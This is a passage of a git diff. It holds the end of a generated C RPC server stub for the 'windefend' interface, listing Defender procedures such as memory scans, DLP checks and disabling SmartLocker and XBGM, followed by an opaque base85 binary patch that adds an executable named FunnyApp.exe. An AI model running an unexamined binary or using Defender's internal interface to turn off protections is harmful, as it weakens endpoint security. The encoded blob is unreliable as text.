(SERVER_ROUTINE)Proc85_ServerMpRpcAddFastPathSignatureFile, + (SERVER_ROUTINE)Proc86_ServerMpRpcRemoveFastPathSignatureFile, + (SERVER_ROUTINE)Proc87_ServerMpRpcDynamicSignatureOpen, + (SERVER_ROUTINE)Proc88_ServerMpRpcDynamicSignatureEnumerate, + (SERVER_ROUTINE)Proc89_ServerMpRpcDynamicSignatureClose, + (SERVER_ROUTINE)Proc90_MpService__CMpMapsLatencyDataIterator__Clone, + (SERVER_ROUTINE)Proc91_MpService__CMpMapsLatencyDataIterator__Clone, + (SERVER_ROUTINE)Proc92_MpService__CMpMapsLatencyDataIterator__Clone, + (SERVER_ROUTINE)Proc93_MpService__CMpMapsLatencyDataIterator__Clone, + (SERVER_ROUTINE)Proc94_ServerMpRpcMemoryScanStart, + (SERVER_ROUTINE)Proc95_ServerMpRpcMemoryScanQueryNotification, + (SERVER_ROUTINE)Proc96_ServerMpRpcMemoryScanClose, + (SERVER_ROUTINE)Proc97_ServerMpRpcFastMemoryScanOpen, + (SERVER_ROUTINE)Proc98_ServerMpRpcFastMemoryScan, + (SERVER_ROUTINE)Proc99_ServerMpRpcFastMemoryScanClose, + (SERVER_ROUTINE)Proc100_ServerMpRpcFastMemoryScanCacheInfo, + (SERVER_ROUTINE)Proc101_ServerMpRpcAmsiCloseSession, + (SERVER_ROUTINE)Proc102_ServerMpRpcTcgLogScan, + (SERVER_ROUTINE)Proc103_ServerMpRpcTcgLogApplyExtResult, + (SERVER_ROUTINE)Proc104_ServerMpRpcDbgSendCallbackNotification, + (SERVER_ROUTINE)Proc105_ServerMpRpcThreatRollup, + (SERVER_ROUTINE)Proc106_ServerMpDetectionQuery, + (SERVER_ROUTINE)Proc107_ServerMpRpcRequestSnooze, + (SERVER_ROUTINE)Proc108_ServerMpRpcOfflineScanInstall, + (SERVER_ROUTINE)Proc109_ServerMpRpcOfflineScanStatusQuery, + (SERVER_ROUTINE)Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable, + (SERVER_ROUTINE)Proc111_ServerMpRpcTriggerHeartbeatOnUninstall, + (SERVER_ROUTINE)Proc112_ServerMpRpcTriggerErrorHeartbeatReport, + (SERVER_ROUTINE)Proc113_ServerMpRpcTriggerHeartbeatReport, + (SERVER_ROUTINE)Proc114_ServerMpRpcRemapCallistoDetections, + (SERVER_ROUTINE)Proc115_ServerMpRpcGetCallistoDetections, + (SERVER_ROUTINE)Proc116_ServerMpRpcIsAdlFallbackDue, + (SERVER_ROUTINE)Proc117_ServerMpRpcIsRtpAutoEnable, + (SERVER_ROUTINE)Proc118_ServerMpRpcEngineQueryConfigDword, + (SERVER_ROUTINE)Proc119_ServerMpRpcSampleHeaderQueueCreate, + (SERVER_ROUTINE)Proc120_ServerMpRpcSampleHeaderQueueQueryNotification, + (SERVER_ROUTINE)Proc121_ServerMpRpcSampleHeaderQueueClose, + (SERVER_ROUTINE)Proc122_ServerMpRpcSampleHeaderClose, + (SERVER_ROUTINE)Proc123_ServerMpRpcSampleHeaderGetSampleDetails, + (SERVER_ROUTINE)Proc124_ServerMpRpcGetSampleChunk, + (SERVER_ROUTINE)Proc125_ServerMpRpcConveySampleSubmissionResult, + (SERVER_ROUTINE)Proc126_ServerMpRpcGetSampleListRequiringConsent, + (SERVER_ROUTINE)Proc127_ServerMpRpcConveyUserChoiceForSampleList, + (SERVER_ROUTINE)Proc128_ServerMpRpcGetRunningMode, + (SERVER_ROUTINE)Proc129_ServerMpRpcIsGivenRunningModeSupported, + (SERVER_ROUTINE)Proc130_ServerMpDisableXBGM, + (SERVER_ROUTINE)Proc131_ServerMpDisableXBGM, + (SERVER_ROUTINE)Proc132_ServerMpXBGMUpdateIV, + (SERVER_ROUTINE)Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded, + (SERVER_ROUTINE)Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded, + (SERVER_ROUTINE)Proc135_ServerMpOnDemandStartScan2, + (SERVER_ROUTINE)Proc136_ServerMpQueryDefaultFolderGuardList, + (SERVER_ROUTINE)Proc137_ServerMpRpcTriggerStatusRefreshNotification, + (SERVER_ROUTINE)Proc138_ServerMpRpcGetHIPSRuleInfo, + (SERVER_ROUTINE)Proc139_ServerMpEnableSmartLocker, + (SERVER_ROUTINE)Proc140_ServerMpDisableSmartLocker, + (SERVER_ROUTINE)Proc141_ServerMpXBGMUpdateIV, + (SERVER_ROUTINE)Proc142_ServerMpFlushLowfiCache, + (SERVER_ROUTINE)Proc143_ServerMpRpcGetAsrBlockedProcesses, + (SERVER_ROUTINE)Proc144_ServerMpRpcGetAsrBlockedActions, + (SERVER_ROUTINE)Proc145_ServerMpRpcDeleteAsrHistory, + (SERVER_ROUTINE)Proc146_ServerMpGetTaskSchedulerStrings, + (SERVER_ROUTINE)Proc147_ServerMpRpcGetAsrBlockedActionInfos, + (SERVER_ROUTINE)Proc148_ServerMpRpcGetTPStateInfo, + (SERVER_ROUTINE)Proc149_ServerMpRpcSetTPState, + (SERVER_ROUTINE)Proc150_ServerMpRpcUpdateDevMode, + (SERVER_ROUTINE)Proc151_ServerMpRpcGetDevMode, + (SERVER_ROUTINE)Proc152_ServerMpUpdateBreakTheGlassStatus, + (SERVER_ROUTINE)Proc153_ServerMpNetworkCapture, + (SERVER_ROUTINE)Proc154_ServerMpConveyDlpBypass, + (SERVER_ROUTINE)Proc155_ServerDlpMpCheckAccessForPrintOperation, + (SERVER_ROUTINE)Proc156_ServerDlpMpConveyNewPrinterConnection, + (SERVER_ROUTINE)Proc157_ServerMpShowDlpDetailsDialog, + (SERVER_ROUTINE)Proc158_ServerMpRpcGetDlpEvents, + (SERVER_ROUTINE)Proc159_ServerMpRpcConveyUserChoiceForDlpNotification, + (SERVER_ROUTINE)Proc160_ServerMpRpcChangeCapability, + (SERVER_ROUTINE)Proc161_ServerMpRpcMpThreatAction, + (SERVER_ROUTINE)Proc162_ServerMpRpcAsrSetHipsUserExclusion, + (SERVER_ROUTINE)Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx, + (SERVER_ROUTINE)Proc164_ServerMpRpcQueryConfigProtection, + (SERVER_ROUTINE)Proc165_ServerMpRpcCheckAccessForDragDropOperation, + (SERVER_ROUTINE)Proc166_ServerMpRpcUpdateBrowserActiveTab, + (SERVER_ROUTINE)Proc167_ServerMpRpcSendBrowserHeartbeat, + (SERVER_ROUTINE)Proc168_ServerMpRpcGetThreatExecutionInfo, + (SERVER_ROUTINE)Proc169_ServerMpRpcReportClipboardOwner, + (SERVER_ROUTINE)Proc170_ServerMpRpcDlpDelegateEnforcement, + (SERVER_ROUTINE)Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx, + (SERVER_ROUTINE)Proc172_ServerMpRpcSendDeviceControlToast, + (SERVER_ROUTINE)Proc173_ServerMpRpcIsDeviceControlAvailable, + (SERVER_ROUTINE)Proc174_ServerMpRpcGetFCValue, + (SERVER_ROUTINE)Proc175_ServerMpRpcSetDriverUnloadInProgress, + (SERVER_ROUTINE)Proc176_ServerMpRpcUpdateTSMode, + (SERVER_ROUTINE)Proc177_ServerMpRpcGetTSModeInfo, + (SERVER_ROUTINE)Proc178_ServerMpCheckAccessForPrintOperation2, + (SERVER_ROUTINE)Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2, + (SERVER_ROUTINE)Proc180_ServerMpRpcCheckAccessForDragDropOperation2, + (SERVER_ROUTINE)Proc181_ServerMpRpcDlpInitializeEnforcementMode, + (SERVER_ROUTINE)Proc182_ServerMpRpcDlpGetOperationEnforcmentMode, + (SERVER_ROUTINE)Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile, + (SERVER_ROUTINE)Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile, + (SERVER_ROUTINE)Proc185_ServerMpRpcDlpNotifyCloseDocumentFile, + (SERVER_ROUTINE)Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument, + (SERVER_ROUTINE)Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument, + (SERVER_ROUTINE)Proc188_ServerMpRpcDlpNotifyPrePrint, + (SERVER_ROUTINE)Proc189_ServerMpRpcDlpNotifyPostStartPrint, + (SERVER_ROUTINE)Proc190_ServerMpGetTDTFeatureStatus, + (SERVER_ROUTINE)Proc191_ServerMpRpcGetDeviceControlSecurityPolicies, + (SERVER_ROUTINE)Proc192_ServerMpRpcGetSACInfo, + (SERVER_ROUTINE)Proc193_ServerMpGetTDTFeatureStatusEx, + (SERVER_ROUTINE)Proc194_ServerMpRpcGetDeviceControlStatus, + (SERVER_ROUTINE)Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo, + (SERVER_ROUTINE)Proc196_ServerMpDisableXBGM, + (SERVER_ROUTINE)Proc197_ServerMpRpcDefenderPrintAccessCheck, + (SERVER_ROUTINE)Proc198_ServerMpRpcDeviceControlPrintAccessCheck, + (SERVER_ROUTINE)Proc199_ServerMpRpcDefenderPrintDataProvide, + (SERVER_ROUTINE)Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare, + (SERVER_ROUTINE)Proc201_ServerMpRpcApplyTrustLabelAceForMDE, + (SERVER_ROUTINE)Proc202_ServerMpGetNpSupportFile, + (SERVER_ROUTINE)Proc203_ServerDlpMpRpcDlpIsPrintDetoursNeeded, + (SERVER_ROUTINE)Proc204_ServerMpRpcConfigRefresh, + (SERVER_ROUTINE)Proc205_ServerMpServiceLogMessage, + (SERVER_ROUTINE)Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration, + (SERVER_ROUTINE)Proc207_ServerMpRpcDlpGetEvidenceFileUrl, + (SERVER_ROUTINE)Proc208_ServerMpRpcDlpCheckAccessForBuffer, + (SERVER_ROUTINE)Proc209_ServerMpRpcDevVolumesProtectionState, + (SERVER_ROUTINE)Proc210_ServerMpRpcQueryDevVolumeProtectionState, + (SERVER_ROUTINE)Proc211_ServerMpRpcDlpDispatchAccessEvent, + (SERVER_ROUTINE)Proc212_ServerMpRpcCheckAccessForCopyFile, + (SERVER_ROUTINE)Proc213_ServerMpRpcAsrSetHipsUserExclusionEx, + (SERVER_ROUTINE)Proc214_ServerMpRpcGetUpToDateInfo, + (SERVER_ROUTINE)Proc215_ServerMpRpcSendDlpEventDataToEngine, + (SERVER_ROUTINE)Proc216_ServerMpRpcAccessibilityAsyncEvent, + (SERVER_ROUTINE)Proc217_ServerMpRpcCacheManagerIsTrusted, + (SERVER_ROUTINE)Proc218_ServerMpRpcSCCGetState, + (SERVER_ROUTINE)Proc219_ServerMpRpcSCCReset, + (SERVER_ROUTINE)Proc220_ServerMpRpcImportConfigPayload, + (SERVER_ROUTINE)Proc221_ServerMpRpcGetConfigPayloadStatus, + (SERVER_ROUTINE)Proc222_ServerMpRpcGetConfigValue, + (SERVER_ROUTINE)Proc223_ServerMpRpcEffectiveConfigurationReport, + (SERVER_ROUTINE)Proc224_ServerMpRpcGetDefenderStatusSummary, + (SERVER_ROUTINE)Proc225_ServerMpRpcGetHIPSCustomRuleInfo, + (SERVER_ROUTINE)Proc226_ServerMpRpcGetTrustAnchors, + (SERVER_ROUTINE)Proc227_ServerMpRpcDlpTriggerToast, + (SERVER_ROUTINE)Proc228_ServerMpRpcGetRnBWFPFilters, + (SERVER_ROUTINE)Proc229_ServerMpRpcRemoveRnBWFPFilter, + (SERVER_ROUTINE)Proc230_ServerMpRpcSenseTriggerToast, + (SERVER_ROUTINE)Proc231_ServerMpRpcWddControl, + (SERVER_ROUTINE)Proc232_ServerMpRpcTemporaryExclusionAction, + (SERVER_ROUTINE)Proc233_ServerMpOnDemandCancelScan, + (SERVER_ROUTINE)Proc234_ServerMpRpcSCCForceReset, + (SERVER_ROUTINE)Proc235_ServerMpRpcPublishModularConfig + }; + +static const MIDL_SERVER_INFO DefaultIfName_ServerInfo = + { + &DefaultIfName_StubDesc, + DefaultIfName_ServerRoutineTable, + windefend__MIDL_ProcFormatString.Format, + (unsigned short *) DefaultIfName_FormatStringOffsetTable, + 0, + (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax_1_0, + 2, + (MIDL_SYNTAX_INFO*)DefaultIfName_SyntaxInfo + }; +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif + + +#endif /* defined(_M_AMD64)*/ + diff --git a/x64/Release/FunnyApp.exe b/x64/Release/FunnyApp.exe new file mode 100644 index 0000000000000000000000000000000000000000..ea16bed53b71ed9a888a7192bd2b0e4885fab095 GIT binary patch literal 388608 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 